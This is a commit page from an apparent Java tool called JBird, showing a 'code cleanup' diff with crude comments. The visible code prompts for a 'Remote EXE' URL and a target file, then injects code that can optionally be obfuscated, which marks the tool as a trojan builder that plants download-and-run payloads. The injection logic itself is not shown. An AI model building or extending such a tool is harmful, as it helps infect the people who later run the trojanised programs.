code cleanup <3

yocontra · Apr 26, 2011 · 8608b09 · 8608b09
1 parent 5e2a4eb
commit 8608b09
Show file tree

Hide file tree

Showing 11 changed files with 71 additions and 124 deletions.
diff --git a/.idea/workspace.xml b/.idea/workspace.xml
diff --git a/out/artifacts/JBird_jar/JBird.jar b/out/artifacts/JBird_jar/JBird.jar
diff --git a/out/production/JBird/Application.class b/out/production/JBird/Application.class
diff --git a/out/production/JBird/util/misc/LogHandler.class b/out/production/JBird/util/misc/LogHandler.class
diff --git a/out/production/JBird/util/misc/Misc.class b/out/production/JBird/util/misc/Misc.class
diff --git a/out/production/JBird/util/misc/UI$1.class b/out/production/JBird/util/misc/UI$1.class
diff --git a/out/production/JBird/util/misc/UI.class b/out/production/JBird/util/misc/UI.class
diff --git a/src/Application.java b/src/Application.java
@@ -19,7 +19,9 @@ public static void main(String[] args) {
         String obinput;
         String appinput;
 
-        if (args.length > 0) close("Don't try to use the command line shithead");
+        if (args.length > 0) {
+            close("Don't try to use the command line shithead");
+        }
 
         /* STUPID FUCKING USER INPUT FOR NOOB DUMBASSES */
         url = JOptionPane.showInputDialog("Remote EXE:", "http://example.com/test.exe");
@@ -39,13 +41,15 @@ public static void main(String[] args) {
         obinput = UI.getComboInput(obchoices, "Obfuscation", "Would you like to obfuscate injected code?");
         obfuscate = obinput != null && !obinput.equals(obchoices[1]);
 
-        if ((file == null) || (url == null) || (appinput == null) || (obinput == null)) {
+        if (file == null || url == null || appinput == null || obinput == null) {
             close("Missing input. Please fill in all fields appropriately.");
         }
         Injector inf = new Injector(file, url, mname);
         inf.load();
         inf.inject();
-        if (obfuscate) inf.obfuscate();
+        if (obfuscate) {
+            inf.obfuscate();
+        }
         inf.save();
         close("Process Completed!");
     }

diff --git a/src/util/misc/LogHandler.java b/src/util/misc/LogHandler.java
@@ -1,5 +1,7 @@
 package util.misc;
 
+import static util.misc.Settings.*;
+
 public class LogHandler {
 
     private final String Name;
@@ -13,12 +15,12 @@ public void log(String msg) {
     }
 
     public void debug(String msg) {
-        if (Settings.DEBUG) {
-            System.out.println("[" + Name + "]" + "[DEBUG]" + msg);
+        if (DEBUG) {
+            log("[DEBUG]" + msg);
         }
     }
 
     public void error(String msg) {
-        System.out.println("[" + Name + "]" + "[ERROR]" + msg);
+        log("[ERROR]" + msg);
     }
 }
diff --git a/src/util/misc/Misc.java b/src/util/misc/Misc.java
@@ -5,22 +5,21 @@
 public class Misc {
 
     public static String getRandomString(int length, boolean simple) {
-        //simple = true;
-        if (!simple) {
+        if (simple) {
+            String charset = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890$_";
             Random rand = new Random();
             StringBuffer sb = new StringBuffer();
             for (int i = 0; i < length; i++) {
-                sb.append(new char[rand.nextInt(255)]);
+                sb.append(charset.charAt(rand.nextInt(charset.length())));
             }
-            return sb.toString();
+            return sb.toString() + rand.nextInt(20);
         } else {
-            String charset = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890$_";
             Random rand = new Random();
             StringBuffer sb = new StringBuffer();
             for (int i = 0; i < length; i++) {
-                sb.append(charset.charAt(rand.nextInt(charset.length())));
+                sb.append(new char[rand.nextInt(255)]);
             }
-            return sb.toString() + rand.nextInt(20);
+            return sb.toString();
         }
     }
 }
diff --git a/src/util/misc/UI.java b/src/util/misc/UI.java
@@ -4,6 +4,8 @@
 import javax.swing.filechooser.FileFilter;
 import java.io.File;
 
+import static util.misc.IO.getExtension;
+
 public class UI {
 
     public static String getComboInput(String[] options, String title, String comment) {
@@ -19,7 +21,7 @@ public boolean accept(File f) {
                 if (f.isDirectory()) {
                     return true;
                 }
-                String extens = IO.getExtension(f);
+                String extens = getExtension(f);
                 if (extens != null) {
                     return extens.equals(extension);
                 }